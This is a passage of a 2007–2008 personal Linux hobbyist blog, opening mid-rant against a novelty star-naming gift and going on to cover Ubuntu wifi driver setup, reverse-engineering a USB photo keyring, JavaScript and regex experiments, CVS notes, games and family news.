So keeps referring to "your star" even though you never own it other than in this Gift Republic database.
Naming your star is easy; you can either complete the process online or fill in and return the lower section of your Star Registration Form. You are required to enter your star name, your contact and delivery details. This is then entered into the Star Registry and you are sent a certificate confirming your star registration. This information will then be periodically submitted to the British Library. 
The "Star registry"! wow and the British library, sounds all official. Except the "Star registry" is not official and is only for Gift Republic's use. Oh and British library bit, all publications are held by the British library.
Your gift code expires 12 months after the date of purchase so you have 12 months in which to register your gift.
This is only hint that this item is a novelty item.
Only a small number of stars in our sky actually have names allocated to them; the majority are nameless and are distinguished by their catalogue number only.
And its going to stay that way, no astronoma wants to refer to "Aunt Bea's star".more
Thats the information on http://www.whsmith.co.uk/ but a bit of searching gets you the company behind this
http://www.giftrepublic.co.uk/Product.aspx?ProdID=STARGIFTPACK
This touching gift gives the recipient the opportunity to choose a name for one of these nameless stars. Once registered, their star name will be submitted to the British Library.
Translation: we will save your submitted name to our database and print a long list of its contents which periodically gets sent to the British library.
Only a small number of stars in our sky actually have names allocated to them; the majority are nameless and are distinguished by their catalogue number only. 
And only International Astronomical Union has any official capacity to name them !
Your gift box contains the details of one of these unnamed stars that is ready for naming by you.
Translation: By unnamed we mean not saved in out personal database but could be named in any other database.
    * A touching gift idea 'a star named after you for eternity'
But only because the British library is keeping every publication as it is a Legal deposit library, they receive over 3 million publications a year.
FAQ's
Can I call my star anything I choose?
Yes, there are no restrictions with star name choice.
Translation: Our database can accept any characters you send us, [even SQL injections  ?!]
So no where do they make clear this is Novelty item ONLY and not in ANY shape or form official.
SCAM SCAM SCAM! 
I understand that some people if informed this was a novelty gift ONLY would not mind, but I am sure many many are disappointed that no stars are ever named after them.
http://www.wired.com/techbiz/media/news/2001/12/49345
http://www.iau.org/
http://www.iau.org/BUYING_STAR_NAMES.244.0.html
http://enzerink.net/peter/astronomy/starfaq/
Oh and hate to disappoint you but that moon and mars mineral rights certificate is worth less thatn the paper it was printed on.
http://www.theregister.co.uk/2006/12/08/nasa_real_estate/
SCAM SCAM SCAM! 


flog now has previous and next
Fri, 11 Jan 2008 19:38:47 GMT
I may be failing to complete a few other tasks, but flog now has <<&;lt< previous and >>>> next links on every page !
No small feat considering there is no database running flog just loads of static files.
I considered writing a perl or C# program to do the work but in the end it was a collecting of bash scripts that processed every flog page and added the links.
Now to do the archive, yearly summary, linux pub quiz 2 and normal flogging...


binary spam
Sat, 05 Jan 2008 10:05:16 GMT
was going to note how my email trash folder had 101101 unread items but clicking on it downloaded another 8(8 auto trashed emails in 4 minutes).
Total Trash emails is 112593 with spam assassin claiming another 53677, unsurprisingly clicking on either folder locks kmail up or a few mins.
Time for a clear out me thinks.
I get about 150 emails a day that are not auto filtered either by my black lists or spam assassin but most end up in my "likely to be spam folder".


nappy new fear !
Tue, 01 Jan 2008 21:27:42 GMT
Happy new YEAR! 
no blogging due to even more illness/nesses, none of them mine.
Still I got what I wanted for Christmas, just like the common Xmas carol goes "All I want for Christmas is light saber, light saber, light saber"
mmmm red
Plus various other stuff, but it all pales in comparison to a light saber I can finally call my own.
Many have questioned the practicality of owning a light saber, even a red one, but what do they know !?
http://www.youtube.com/results?search_query=lightsaber+replica&search=Search


poldu wifi PCMCIA
Sun, 23 Dec 2007 21:27:09 GMT
My recovered laptop has wifi in PCMCIA form, but Ubuntu was not finding it ...
dmesg
Nothing, the hardware is not being claimed by any drivers.
lspcmcia
Hmmm, there is something there but is quoted as [no driver]
pccardctl info
Ooo, amongst other things is PRODID_2="3CRWE62092A Wireless LAN PC Card"
Just double check nothing is working with this.
ifconfig -a
nope
iwconfig
nope
googling the 3CRWE62092A string got me http://www.xs4all.nl/~bvermeul/swallow/ but it would not build.
I even tried fixing the MANY errors, but after a few days I found the kernel changelog had VASTLY updated the PCMCIA interface code and this was a lost cause :(
One thing I had noticed was the chipset name poldhu and quick google of this got me http://sourceforge.net/projects/poldhu/ which was being updated regularly and built and installed first time no problem !

make
sudo make install
sudo modprobe poldhu_cs
ifconfig *blah*
iwconfig *blah*
dhclient

connected !


gimp render nature flame background
Sun, 23 Dec 2007 21:12:50 GMT
http://www.gimp.org/ has some wonderful tools if you look hard enough.
In just 2-5 mins I created each one of these




The process is very easy;
:Create a new image of the size of your desktop i.e. 1024x768
:select a foreground and background colour.
:Use the gradient fill tool to fill the entire page.
:Repeat step two but select new colours
:goto /filters/render/nature/flame
:use the Edit and Camera options to make adjustments click on OK wait 20seconds to a couple of minutes and save your new background.
If you look closely at my backgrounds you can see I did use some minor edits to enhance the image but the options are limitless.
Gentoo users gallery
Windows users can use the windows version of GIMP to achieve the same results.


icey stalagmites
Sun, 23 Dec 2007 20:59:06 GMT
Last Wednesday it was VERY cold Brrrrr and after walking the train station to find all the trains canceled I came home to find this in the garden. 

They were on an upturned plastic table that as you can see had a set of 'cells' were iced formed. I have never seen this before.
Explained by New Scientist


Very cheap USB rocket launcher
Sun, 23 Dec 2007 20:51:13 GMT
After an interesting Thieving Secret Santa at work that lost me a USB rocket launcher I quizzed the guy who bought it to find Woolworth were selling them for just £9.99 !
I could not find any but asking the person behind the counter got me one from the stores.
The box was cellotaped badly, but all the bits were in there and that is how the other one was presented at work.
Plugged it in to Linux after hear bad things about its windows software, ran dmesg and got the manufacture and model numbers as 1941:8021 googled those and got to http://www.fatal.se/fulhack/ahmissile/ a quick ./configure, make, make install and ahmissile brought up a basic window with eight directions, clicked on one and it worked !
After moving around all over the place I tried the fire, a strange mechanical noise ran for 3-4 seconds then POP! the little lady(these missile are of the female variety) shot off.
Great fun and the author is really friendly, always a plus.
Just think for £100 I could get another ten !!


gur bgure grnz vf purngvat
Thu, 20 Dec 2007 10:14:36 GMT
gur bgure grnz vf purngvat


krum-bly
Thu, 20 Dec 2007 10:08:36 GMT
krum has been out of sight and out of mind recently, but I will turn back to its sweet siren song soon ...


Linux pub quiz version 2.0
Wed, 19 Dec 2007 22:44:15 GMT
The lug Xmas part night was slightly low on numbers, but there were just enough for five L0Z3rs(the losers) and five Lamers(the winners).
After the last pub quiz I decided to 'up' the fun factor(though some noted I also 'upped' the evil and bizzare factors).
There was my usual random of random opensource/linux themed questions (I promise to write them up soon) ranging from RMS and Linus's middle names to hack outlook passwords, through RSI recovery and a revisit to a couple of old favorites from the last quiz.
There was also programming in swears, the lack of identification of the essential filelight, decoding secret messages, matching O'Reilly titles to covers, drawing tux in an extremely short time frame and other silliness.
I had hoped to write a new score board system but never had the time :(
We missed out the mime round due to time constraints, but overall everyone had a good time and there was lots of food and some (slightly) better prizes this year.
The only two questions remain, how do you mime "firefox" and did David actually make a more accurate guess on the lug meeting place latitude/longitude ?
Final scores were 33 - 31, with may mad collection of guess the closest number rounds to hand out the individual presents. My spam quota got vastly under estimated , guesses were between 1-20 , whereas the answer was 230 (spam not captured by spam assassin for that day).
OK, one more question, how am I going to top this quiz for next year ?
Maybe I just need to build a flashier score board and recycle the questions :)


Posted a day late spiderman visits london
Wed, 19 Dec 2007 22:08:14 GMT
Alain Robert aka spiderman made an appearance at Portland house this morning.
We noticed him doing warm up exercises three floors up on the roof connecting to our building, before he disappeared around to the front face of the building and started climbing its remaining twenty+ stories completely unaided.
He took just under 40mins with plenty of rest stops so he could;
take a phone call
drink coffee (from a thermos)
powder his hands (did this for every story reached)
pose for photographers
and wave to the crowed
Apparently he was doing the climb to raise awareness of global warming, but we could not read his shirt.
For his trouble he was arrested for criminal damage and wasting police time.
The police spent most of the time pushing the crowd further and further back incase "the wind carried his body", which suited us fine as it was a good excuse for being unable to get back in the office.
wikipedia article on Alain Robert.


Random blog train update
Wed, 19 Dec 2007 21:51:13 GMT
The blog train was stationed in "Linux pub quiz valley", but then got stuck at "Escalating family illnesses junction" with guaranteed zero sleep.
The overnight express now offers "up-to" three hours per night, but at least the train is moving.


ubuntu hates me
Wed, 05 Dec 2007 21:46:24 GMT
Sarah finally gave back my laptop from 8 years ago but it has XP on it so...
backup windows data, defrag, insert ubuntu 7.10 desktop CD, reboot select default option wait ages get a black screen with coloured strips down either side.CTRL+ALT+F1 and get console, CTRL+ALT+F7 and get ubuntu desktop. 
As I did not need anything else I started the install, seemed quite slow but then it was running 'live' off the CD. Got to the disk partitioning section and got a message "starting the partitioner" then nothing. The CD was thrashing so left a short while before switching to console CTRL+ALT+F1, this switch took about 20 seconds. Then I tried to run dmesg but the keyboard echo was at least 20 seconds per hit. Eventually dmesg ran and I could see all sorts of SQUASHFS errors.
At this point I could not even CTRL+ALT+DEL so I pulled the power, then I booted up again this time I choose the VGA boot option thinking I might have a better experience. Not quite, I got black and green stripes of ascii characters and switching to console and back did not fix it.
Hmmm, maybe I am missing something, so I google around for a while and determine that laptops often have problems with power management so after booting up and selecting the CD defect check and after it reported none, I edited the command line to have acpi=off and noapic. Well it booted into the desktop without issue but this time I had a sniff around what ubuntu could see of my windows disk, all seemed fine so I tried the install from the desktop again, this time I did not even get to select my keyboard layout before the CD was screaming and the machine became completely unresponsive...
Time to try something new, I burnt a copy of the alternate install ubuntu 7.10 disk and ran that, this time everything is in a console window and after about an hour of answering yes to all the questions I had ubuntu installed dual booting with windows.


javascript and the vanishing Feb
Thu, 29 Nov 2007 21:47:37 GMT
If you use firefox then you need this http://www.squarefree.com/shell/ (drag onto firefoxes toolbar to install)
Now this means you can execute JavaScript in the context of the browser/web page, loads of fun, but you can also just test scripts out like...
for (var i=0;i<12;i++) { d=new Date(); d.setMonth(i); print(d.getMonth()); }
(If you want, you can change 'print' for 'alert' and run it in your browsers address bar).
This produces
0
2
2
3
4
5
6
7
8
9
10
11
Notice the missing 1, but
for (var i=0;i<12;i++) { d=new Date(); d.setDate(1); d.setMonth(i); print(d.getMonth()); }
Gives
 0
1
2
3
4
5
6
7
8
9
10
11
The only difference is the month date is set to 1 before the month itself is set and yes JavaScript uses 0 for Jan and 11 for Dec.
P.s. setting the year first made no difference.


Hate Internet Explorer so hack it
Wed, 28 Nov 2007 22:24:18 GMT
Don't you just hate it when Internet Explorer works the same as FireFox? Let me clarify, its IE7 and the page I had been developing had some pretty hairy CSS worked in FF and after some very minor tweaks worked exactly the same in IE7, job done.
Well, not quite cos the test team started coming back with all sorts of odd display issues, turns out they were using IE6. Now the sensible thing to do here is use CSS conditional comments ... but I can not alter the HTML of the page and all the CSS hacks I could find targeted IE not < IE7.
But, I could add javascript so I ended up writing my own browser detection script that dynamically generated the CSS if the browser was an IE version lower than 7, works but ... its not nice.
P.S. Conditional comments do not work in CSS or JS only HTML.


LevelHead an augmented reality game open source
Wed, 28 Nov 2007 22:13:10 GMT
On its own this is pretty amazing but then you find out the creator wants to release it all as open source with PDF printable cubes !
http://julianoliver.com/levelhead
Expect sales of eye-toys to go through the roof on ebay.


krum dum dum
Mon, 19 Nov 2007 21:32:43 GMT
I checked into the snoopypro code following my little embarrassment and there is a hard coded 8 that I changed to 16 and now it shows all 16 bytes !
On top of that I have been going through the upload captures and it looks totally doable, easy but quite time consuming ... stay tuned ...


CVS krum notes
Sun, 11 Nov 2007 16:26:15 GMT
I have finally committed krum to sourceforge CVS, as I always forget the steps here are some notes.
CVS basic initialisation of a project.
setup a ssh key as described in the sourceforge documention
Create a local development environment that will be the cvs data, usually just the source code and build instructions.
mkdir krum
cp krum.c krum
cp writebackbuffer.h krum
cd krum
cvs -d :ext:icedgreen@krum.cvs.sourceforge.net:/cvsroot/krum import -m "initial cvs dump" krum icedgreen start
cd ..
mv krum krum_cvs_source
cvs -d :ext:icedgreen@krum.cvs.sourceforge.net:/cvsroot/krum checkout krum   
cd krum
edit file
cvs commit -m "my change was"
(can add file name or intelegent choice is made)
Previously I had used windows gui base cvs programs for
toast4messenger
topBlock [windows]
Skipped the whole CVS issue for saltshaker


saltshaker updated to avoid strict python
Sun, 11 Nov 2007 16:18:16 GMT
Thanks to naruto canada saltshaker has been update to avoid strict python interpretors and random triangles :)


JWZ mixtape insanity
Sat, 10 Nov 2007 10:57:40 GMT
insanity curtesy of JWZ.
number 003 is particualy good, but heavily themed, expect swearing in some.


krum what went wrong
Sat, 10 Nov 2007 10:53:17 GMT
So what went wrong with krum ? It was leaving the machine is a strange state.
If you remember I hacked at snoopypro to give myself a few helpful changes.
My favorite enhancement was a text dump mode and update to the existing xml dump, allowing me to review the pertinent data captured in a text editor or filter it with grep.
What I failed to notice was that for some reason the text dump only included the first eight bytes of any sixteen byte data captures, though mysteriously the xml does.
So this means for the most part nothing, the functionality for getting the number of images on the device never uses more that two bytes in any single transaction, but the delete uses a large write back buffer.
This write back buffer was careful encoded by me but of course was eight bytes short for EVERY single transaction of which there are 70+.
Took a long time to work this out, but from now on I will be using the XML dumps and ignoring the text ones.
Every cloud has a silver lining, the fact the the devices settings/functionality was changed makes me wonder what else could be changed ... that is definitely a job after the main part of this project is completed.


krum lives - unstable state no more
Sat, 03 Nov 2007 22:32:01 GMT
[pant][pant] ... krum ... is alIVE !!
I have fixed the unstable state issue when deleting images.
Details will follow when I have sometime.


UPS saves day again
Thu, 25 Oct 2007 13:17:03 BST
UPS saves the day (again), we had yet another random power cut that only lasted two minutes and my cheap UPS made sure the machine never lost power !


LUG date javascript fix
Wed, 24 Oct 2007 21:55:01 BST
the LUG home page needs to show the correct date unfortunately this has been affected by human error so I knocked up a javascript fix.
Has the small problem that if the date on the users machine is wrong then it is calculated wrong, still could be basis for either another program perl etc or for someone to check their human interpretation.


   
         
         
         
    
    
       begin 

       Javascript is disabled, please guess date yourself.
       end
    

 http://www.jumpstation.co.uk/misc/jsdat.html


duffs device
Wed, 24 Oct 2007 21:31:30 BST
http://en.wikipedia.org/wiki/Duff%27s_device

screaming monkey balls !


krum and the usbmon kernel debug
Wed, 24 Oct 2007 21:23:16 BST
so krum was not producing the correct results, leaving the device in rather an odd state. MY debug data matched the original capture data perfectly so what was going wrong?
I tried krum with the win32 version of libusb and it produced the same results, so Linux is not to blame, unfortunately that means the debug krum is producing is not accurate.
But snoopy pro in windows will not capture the krum data from win32 libusb unless I create driver .INF files for windows and I have a better idea anyway.
Simply setup the linux kernel to dump debug usb data, easy right ?
Hmmm. First off I am not going to change my kernel and reboot unnecessarily, so I used virtualbox[1] and installed ubuntu[2].
Even better ubuntu was noted to have the usbmon kernel debug setup by default (cannot find link) copied in krum ran and started looking for usb data in /var/log/...
Nothing, hmmm, ah, seems I need to rebuild kernel with usbmon, make sense, took a few tries but rebooted into my new kernel (had to edit /boot/grub/menu.lst to allow me to select the new kernel).
Repeated krum still no usb data anywhere ...
Found a great tutorial[3] that included how to rebuild kernel in ubuntu [4], seems I had missed the debug file system.
Right, an number of resources noted the that wireshark[5] had support to read this debug file system USB data, so install wireshark.
No option in wireshark for USB, download latest source code and build, still no option for USB, install ubuntu's libpcap-dev rebuild wireshark, still no option for USB, build libpcap from source remove ubuntu's libpcap-dev package and try and rebuild wireshark.
Error libpcap not found, rebuild libpcap after specifying
./configure --prefix=/usr
Rebuild wireshark and all the computer gods be praised it build and ran and USB was an option, started cpature started krum, wireshark complained no packets captured !
Ran krum and then started capture, and it captured something but not much and then errored out saying something about unable to handle USB packet '
'
and just to make this extra fun one of the cats decide to pee on my desk ...
In conclusion I now have a capture from usbmon from krum and it is ugly, will take time to reformat and then compare ...
[1] http://www.virtualbox.org/ 
[2] http://www.ubuntu.com/
[3] http://www.quietearth.us/articles/2006/10/16/USB-Snoop-in-linux
[4] http://www.quietearth.us/articles/2006/09/15/Ubuntu-Compiling-a-custom-kernel
[5] http://www.wireshark.org/


what have I done to annoy the universe ?
Wed, 10 Oct 2007 23:06:45 BST
It has been the day from hell, well hellish.
Started this morning being so tired I could not get up and then having to run for the train and also having to rush to get a ticket. All this while getting soaked.
Get into London and I have to go directly to the head office, rush rush rush. Then find the meeting was not until tomorrow, doh!
As I am there, login to a spare machine but its not long before someone else needs the machine, so leave for my normal office. Decide to take a short trip to PC World to get a w2k3 compatible wireless mouse (can not see on on amazon). I was 90% sure I knew how to get there unfortunately it was the other 10% and I was left lost in London getting wetter by the minute.
Finally get back to the office and find I am wearing odd socks, bump into the door frame at least twice and find blisters from all the walking.
On the train home rip my palm open on my jeans studs/rivets, rush home to eat before the LUG. Shove food down my throat and as there is one minute before I am picked up say to Sarah "I am going to check my email, knowing my luck there will be one to say the lift is late". Guess what ...
Still the LUG meeting was a blast, loads of new and old people lots of different problems, questions, discussions. Was serious talk about the LUG site and its future and plans for coming events, very productive.
So not really a bad day after all, of course there is always tomorrow ...


regular expresions get me down but I get up fighting
Sat, 06 Oct 2007 21:08:02 BST
Just for fun I needed a regular expression that would match a known string either at the beginning/end of a line or when surrounded by white space, i.e. a word in a sentence as opposed to a word containing the known string.
I thought A) this would be easy and B) someone had done it before (sounds like a common request.
[the following were done in the javascript shell bookmarklet for firefox]
print(new RegExp("\\sword","gi").test("wordy");
false
\\s is any whitespace character but apparently does not include start of a line.
print(new RegExp("\\Wword","gi").test("wordy");
false
\\W, non word character has the same issue.
print(new RegExp("\\s?word","gi").test("wordy");
true
? is zero or more times, that works but then so does
print(new RegExp("\\s?word","gi").test("awordy");
true
which is bad.
It needs to be either a white space character or the beginning a of a line, hmmmm, OR ...
print(new RegExp("[^|\\s]word","gi").test("wordy");
false
the | character is OR and the square brackets encapsulate the two options, ^ being the beginning of a line.
But that did not work.
In the end I needed to take a different approach,
print(new RegExp("(^word$)|(^word\\W)|(\\Wword$)|(\\Wword\\W)","gi").test(" zwordz "));
false
print(new RegExp("(^word$)|(^word\\W)|(\\Wword$)|(\\Wword\\W)","gi").test(" word "));
true
print(new RegExp("(^word$)|(^word\\W)|(\\Wword$)|(\\Wword\\W)","gi").test("word"));
true
phew!
So in the end I needed to offer four options (notice the | OR character) 
^word$	Starts a new line ^ and ends a line $		
^word\\W	Starts a new line ^ or is terminated by a non-word character
\\Wword$	Starts with a non-word character and ends a line
\\Wword\\W	Starts with a non-word character and is terminated by a non-word characters.
note: the double slashes are required to escape the characters in strings.


krum works in windows but snoopy is blind
Sat, 06 Oct 2007 20:20:04 BST
I wanted to confirm that my krum usb program was performing the same as the original windows driver.
Krum has extensive loggin and from that it appeared that all was fine but I was still getting a device that was not in a complete state.
So I though I could use win32-libusb. Installed cygwin and added libusb support and gcc from the install options. From the new cygwin shell I could just
gcc krum.c -o krum -lusb
Then I needed to install the filter driver for win32-libusb and krum worked exactly the same way as in Linux.
So I just ran snoopypro, restarted the device and immediately saw the URBs for enumeration being captured, so I ran krum in the cygwin shell and it ran but snoopypro record NO FURTHER URBs.
Gutted... but I have a sneaky plan ...


Web service hidden option needed for IIS server 2003
Mon, 24 Sep 2007 21:11:59 BST
For reasons only know to myself I needed to create a c# ASP.net web service. 
Should have been really easy, just create a new ASP.NET project with the webs service template. OK did that without any issue now to create the application that would use the webs service.
Again, just create a new ASP.NET project with web application template and then add in a web reference to the previously created web service.
this is where things got interesting;

http://localhost/service.asmx
 
 A name was started with an invalid character. Error 
 processing 
 resource 'http://localhost/servi... 
 <%@ WebService Language="C#" 
 CodeBehind="~/App_Code/service.cs" 
 Class="Service" %>
 
 Solution was to enable .NET in IIS, either by going into the settings or running
 aspnet_regiis.exe -i  
 In the Visual Studio shell.
 But then I got "404 page not found" trying to add the reference, doh!
 Turns out the in windows server 2003 (all dev machines in our office) has ASP.NET and .NET version 2 disabled by default.
 So all I had to do was enable them, but after searching all through every settings page I was no closer to the "Web Service Extensions" tab(last post).
 In the end it was another folder in the IIS manager at the top level, where you might see FTP or smtp, very odd place to put it.


Time splitters - bad Farcry good !
Sun, 23 Sep 2007 22:19:47 BST
I had been playing "Time Splitters 3 - future perfect" but I have completed it now. It was a odd mixture of good and bad, the first third of the game was pretty bad the middle was better and the end was mostly OK. From ghost that could only be killed by a flame thrower and zombies that were unharmed by the same to bad puns dodgy characters  and very limiting environments to something that was actually quite fun. 
Over all not recommended.
So what am I playing now? "Farcy Instincts - Evolution". Not having seen previous installations I do feel I am missing something but damn this game is good.
You can run around guns blazing or sneak through the bright sun lit jungle literally under the noses of your enemies. The play areas are SOOO BIG! massive in fact and highly detailed.
With the shadows of the trees and birds to the oceans and rivers you feel like you are really there and you can do what you want from blow up bad guys to burning dope fields to racing around of jet skis.
Brilliant !


Ufo adventure version 2 released
Fri, 21 Sep 2007 22:42:15 BST
Finished the second ufo maps mashup this time you must help find a missing item.
Drop beacons that tell you how many miles you are from your target but nothing else, oh and you only have 20 beacons. Good luck !


Face sets off for Naples
Fri, 21 Sep 2007 22:25:37 BST
My face is going to Naples !
 http://facebooked.org.uk/photos/img_501299_530145040.jpg
Slightly worrying that they decided my face should have pride of place on the front.


USB pen drive 8gig can not take files large than 4gig
Fri, 14 Sep 2007 14:33:31 BST
I got a 8gig USB pen drive to ferry large files around as they are so cheap.
Tried to copy a 6gig file onto it from windows and got a strand "Incorrect parameter" error, same using xcopy. Eventually traced it down to Fat32 not supporting single files larger than 4gig. 7zip allowed me to split the file and cat in bash rebuilt it.
The question is, what format should the drive be to take large files and be cross platform compatible ?


LUG talk Steve and openstreetmap me and USB
Fri, 14 Sep 2007 14:29:25 BST
LUG meeting went well, really good turn out and Steve did a really good refresher on openstreetmap.
I forgot my notes about "using windows USB devices in Linux" but I winged it anyway and people seemed interested. But I did not realise how underwhelmed they would be when I reported I could get the number of images off the device and run the "delete all" functionality.


DVD::rip to Zune a short experiment
Mon, 10 Sep 2007 21:49:05 BST
I have tried so many video conversion progies on windows to simply get a DVD converted into a format the ZUNE would like and work smoothly with, none which worked 100%.
So I tried DVD::rip which in turn uses transcode. the following is for my records YMMV.
dvd::rip 
Resize to 320x180 (wide screen)
:AVI
:-FFMPEG
:-MPEG4
:--1500kb/s (very important!)
:MP3
:-128kb/s
:-48hz
Then use Windows media encoder and accept all the defaults setting NO RESIZE!.
2hr Film
DVD::rip 15mins
transcode 2:15
media encoder (forgot to note end time but recon it was about 2hrs)
Zune transfer of the 977mb WMV file 5hrs (damn USB 1.1 slow ports!)


krum delete all further investigation reveals NOTHING
Fri, 07 Sep 2007 14:42:16 BST
OK so the delay thing is not right cos the real app deletes all in an instant.
the missing data was due to running krum against the device while it was in its confused state. Unplugged it and recaptured a new log and compares EXACTLY to the orignal snoopy log.
Only thing that could be wrong is the ABORT / RESET URBS I noted ipreviously.
So if I add an image in windows then DELETE-ALL then run krum with device plugged in it recovers the first image and leaves the device in an odd state, cool ? or bad ?


krum still weird when deleting all
Wed, 05 Sep 2007 22:36:24 BST
Added a 8 second and 3 second delay where they show up in the log but same result.
After replugging the device and rerunning krum the original image REAPPEARS! then get same odd behavior.
I wrote a couple of scripts to reformat my krum logs and the original captures (in text) and they are all identical in codes sent, some of the received stuff does not match but I will check up on that tomorrow.
Maybe it is time to move on to the image uploading stage ...


krum delete all better but still not perfect
Mon, 03 Sep 2007 21:13:38 BST
Quick krum update, I found I had left my 0x0b 0x0e 0x0e 0x0f test data in and that was not ideal but after fixing that a couple of other minor things the delete all operation still does not complete smoothly. The device is left in a strange limbo where the images are not there but the image count says they are.
Might be a timing issue, I will investigate.


UFO map adventure version 1 released
Sat, 01 Sep 2007 10:16:47 BST
I was asked to 'play' around with Virtual Earth SDK as it maybe used in future projects.
I came up with this UFO adventure.
The content is in an IFRAME that is much larger than the displayed area and then recentered. This automatically downloads extra map tiles so you should never see them loading, this has the downside of using much more bandwidth.
The UFO will happily wonder around blowing things up unless you take control with the arrow keys.
SPACE to nuke a site and 'r' will restart the auto-pilot.
This is version 1 and I am considering a more playable 'game' for version 2, stay tuned!


krum deletes !
Thu, 30 Aug 2007 22:22:03 BST
Krum now deletes images off the device, but not cleanly, need to explore the massive 2565 line log file to see what single byte I put wrong :(


topblock on sourceforge for windows is launched
Wed, 29 Aug 2007 21:19:49 BST
http://topblock.sf.net has launched, go there for all your topblock on windows needs.


krum still lives
Sun, 26 Aug 2007 14:56:13 BST
although its only a few 30min blocks here and there I have managed to get some time to work on krum.
Cleaned up the code and more importantly fixed the shutdown bug that was causing the device to hang.


topBlock for windows
Wed, 22 Aug 2007 22:05:49 BST
Gentoo updates and having no free time has meant I have not informed you about a windows release of the infamous topBlock screen saver. It was a hard slog, but I converted it to c# and added all the required windows bits, works well. Everyone in the office use it !


Serious Sam II completed, not so bad?
Wed, 15 Aug 2007 22:38:02 BST
I have completed Serious Sam II so maybe I like it more than I once thought.
The last few levels were pretty good and the final battle was very hard, at last I might have some time to devote to krum


Blender and the case of the decal on ray traced transparencey
Mon, 13 Aug 2007 22:06:30 BST
Blender can be odd at times and although there are hundreds of tutorials out there you can still be left floundering in the dark about something that seems simple at first glance.
I have created a very nice 3D jar (don't ask) and all I wanted to do was add a label, what could be simpler ?
The confusion seems to surround the fact I am using the Ray trace Transparency not the old Alpha settings. The Ray Trace stuff affects any textures I added, so I would add my label image and it would be mostly transparent and whatever I  did it was always as transparent as the glass I was laying it on. But, if you use Alpha as the setting to control the objects transparency then the texture you apply to it is NOT affected.
On top of that I always find getting textures to line up very difficult, but now I have the answer: Emptys! (not empties).
Add and Empty to the scene and orientate it so that the Y axis points up the Z axis points out and the X axis points horizontally. More specifically, if you were set looking at your object (not the camera view) the Z axis should be invisible (it's point directly at you) and X is pointing directly Right. For some reason a lot of the tutorials keep referring to the Empty's axis point toward the camera.
Then the clever bit, edit the objects materials adding your image as a texture and set the Map Input from the default Orco to Object and type in the name of your Empty.
In the end I had an extra cylinder holding the label texture with its alpha set to 0.
If the texture has an alpha channel then remember to set Alpha in Map Output as well as colour.
Phew, you can not imagine how long I spent looking for this stuff.


Spain loses its sense of taste
Sat, 11 Aug 2007 21:38:36 BST
I can not believe it, I missed this months LUG meeting !
Still I was in Spain at the time on a last minute 4 day holiday meeting up with grandparents. It was very hot and I came back with no sense of taste, specifically I can not taste anything sweet, it affected the front of my tongue only.
What affected my tongue ? the foot tablets I had been taking for over 6 weeks.
Ita a bit od, I can tell you, Coca Cola tastes like fizzy water, Pepsi Max tastes URGK! apples are odd, carrots taste the same and for some reason water now seems to taste better.
The Doctor said my sense of taste would return "In a while" but I did not get that qualified as to how long ...


fix URL
Fri, 03 Aug 2007 22:15:39 BST
that link was infact toast4messenger.sf.net.


Toast for Messenger announced with SF site
Fri, 03 Aug 2007 22:13:16 BST
Another day another project, well not quite this one has been ready for a while. But it seems to have taken ages to get the sourceforge site setup.
So without further ado I announce the toast for messenger project.


I have seen the URB light and tasted the fountain of knowledge
Thu, 02 Aug 2007 22:02:23 BST
Looking at list of hundreds or URBs it can be difficult to see patterns, but using my modified SnoppyPro to dump to text and then a bit of C# I have seen the light!!
Well, I have seen a common pattern in most of the transactions the Digital KeyRing does.
The one thing that worried me about this project and was made worse by reading the gphoto guys discussion on the Mars chip was compression of the images.
Luckily it seems there are totally uncompressed, so getting the data on will be a doddle of corse converting existing images into the right format might be a pain.
Stay tuned as Krum has been submitted to sourceforget.net as a new project.


Kanji date scroll live
Wed, 01 Aug 2007 22:18:53 BST
One of the other projects I had been working on was Kanji date scroll an html based Japanese clock with date.
It started life as a simple side project and the requirement was to have static Kanji characters displaying the date and time. Got that working so added a requirement that the characters be animated so you could see the stroke order of them being drawn. Got that done as animated GIFs but then all the characters would draw at once and it looked a bit messy. So the final version uses a Javavscript queuing system. Each time a new character is needed the request is added to the queue and then drawn in stroke order one PNG file at a time.
The background was 5 mins in the GIMP and the overall results are pleasing enough.
 Kanji date scroll


krum KeyRing Upload Manager is born
Tue, 31 Jul 2007 21:34:46 BST
So the refactored code from now on to be call krum KeyRing Upload Manager works but I get some sequences returning different values from the original snoopy logs. Also the device is left in what seems to be a hung state, though unplugging an replugging fixes that.
Now to get it to print out the number of stored images...


USBSnoopyPro team give me developer access
Mon, 30 Jul 2007 22:10:42 BST
The original USBSnoopPro team are setting me up with developer access to commit my changes and the refactored code (finally) is back to the stage the proof of concept code was at.


Serious Sam II sucks less than previously thought
Thu, 26 Jul 2007 23:00:58 BST
I a strange change of heart I am starting to enjoy Serious Sam II, but only since the China stages, there are still problems but the fun is starting to creep back in. Glad I stuck to it, more later...


SnoopyPro original team notified
Thu, 26 Jul 2007 22:58:54 BST
Appears you can not commit to an SF project unless you are a registered dev and there has been no life in the project since 2002, still I emailed all the original devs so you never know.
Note to self: do not try and read URBs after midnight ...
My refactored libusb based code is cleaner than the working proof of concept stuff but it is taking a long time to get to the same reliability.


USBSnoopyPro hacked to hell version almost ready for release
Tue, 24 Jul 2007 21:07:37 BST
Not so long ago I had a simple plan, well that plan is almost at an end.
My re-hacked version of SnoopyPro has
command line switches (now on referred to as flags)
larger default column sizes, so you do not need to manually resize them every time.
An auto Analyze Log flag so that step is removed
An auto dump to text flag, although I no longer needed it might be handy to someone.
An auto dump to XML flag
A base16 flag, which makes the XML output hex and a bit nicer in format.
and exit ASAP flag for batch processing (currently not implemented).
and handles /? so you can see all these options.
If you were to diff the code and see what changes I had made there would be very few, but I had been trying all sorts of different approaches to get the results I wanted. In fact it will be interest to see if anyone corrects my bad c++ when I commit my changes to CVS, or if no one has a working build environment ;)


Read Harry Potter, they put up a tent and Ron makes tea
Tue, 24 Jul 2007 20:56:59 BST
I read Harry Potter and the Deathly Hallows this morning and I did not have to queue at midnight like some people I know. And so to ruin it for the rest of you here is what happens;
"They put up a tent and Ron makes tea"
Wow! earth shattering, yes I read one whole sentence are being crammed in Victoria line train this morning. Not impressed.


Alex is standing unaided, run for the hills!
Tue, 24 Jul 2007 20:53:31 BST
Alex is standing unaided so locks have had to be put on, well everything, the wii is locked up tight.
His crawling speed has increased exponentially so the cats are having to watch out or suffer a 'grabbing'.
Next step is walking unaided, he already has no problem walking with a block trolley.


Success! can read no. images off device
Sun, 22 Jul 2007 21:09:37 BST
I have succeeded in getting the number of images off the keyring, but it is all proof-of-concept code and is ugly as hell. 
Also the device is locked after I have run it through its paces and requires physically being unplugged/replugged.
Where do I get ABORT and RESET URBs from ??
